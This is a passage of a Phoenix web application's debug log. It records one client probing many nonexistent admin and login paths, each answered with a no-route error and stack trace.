    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:35.474000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 08:23:38.157000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52576] GET /version
[Thu Sep  3 08:23:38.178000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52576] ** (Phoenix.Router.NoRouteError) no route found for GET /version (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:42.251000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52588] GET /version
[Thu Sep  3 08:23:42.270000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52588] ** (Phoenix.Router.NoRouteError) no route found for GET /version (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:50.347000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37578] GET /
[Thu Sep  3 08:23:50.348000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:37578] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:23:50.349000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37578] Sent 200 in 1ms
[Thu Sep  3 08:23:51.142000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37592] GET /Login.aspx
[Thu Sep  3 08:23:51.157000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37592] ** (Phoenix.Router.NoRouteError) no route found for GET /Login.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:51.773000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37606] GET /admin/
[Thu Sep  3 08:23:51.789000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37606] ** (Phoenix.Router.NoRouteError) no route found for GET /admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:23:57.198000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57532] GET /cacti
[Thu Sep  3 08:23:57.224000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57532] ** (Phoenix.Router.NoRouteError) no route found for GET /cacti (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:03.336000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44442] GET /MM/
[Thu Sep  3 08:24:03.391000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44442] ** (Phoenix.Router.NoRouteError) no route found for GET /MM (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:05.181000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44458] GET /%NETHOOD%/
[Thu Sep  3 08:24:05.200000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44458] ** (Phoenix.Router.NoRouteError) no route found for GET /%NETHOOD% (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:10.262000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44472] GET /self_upgrade.html
[Thu Sep  3 08:24:10.278000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44472] ** (Phoenix.Router.NoRouteError) no route found for GET /self_upgrade.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:11.364000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:44476] GET /nosuchfile-1749467969-2090375994.jsp
[Thu Sep  3 08:24:11.384000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:44476] ** (Phoenix.Router.NoRouteError) no route found for GET /nosuchfile-1749467969-2090375994.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:13.070000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47422] GET /login.html
[Thu Sep  3 08:24:13.086000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47422] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:17.133000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47428] GET /forum.php
[Thu Sep  3 08:24:17.147000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47428] ** (Phoenix.Router.NoRouteError) no route found for GET /forum.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:20.861000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:47434] GET /bitrix/admin/index.php
[Thu Sep  3 08:24:20.877000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:47434] ** (Phoenix.Router.NoRouteError) no route found for GET /bitrix/admin/index.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:23.348000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37362] GET /webapps/login/index.html
[Thu Sep  3 08:24:23.369000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37362] ** (Phoenix.Router.NoRouteError) no route found for GET /webapps/login/index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:24.038000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37378] GET /webct/about.jsp
[Thu Sep  3 08:24:24.071000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37378] ** (Phoenix.Router.NoRouteError) no route found for GET /webct/about.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:27.349000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37386] GET /
[Thu Sep  3 08:24:27.350000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:37386] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:24:27.350000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37386] Sent 200 in 1ms
[Thu Sep  3 08:24:33.723000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55804] GET /login
[Thu Sep  3 08:24:33.738000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55804] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:24:34.113000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55820] GET /WS2020/Default.aspx
[Thu Sep  3 08:24:34.139000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55820] ** (Phoenix.Router.NoRouteError) no route found for GET /WS2020/Default.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
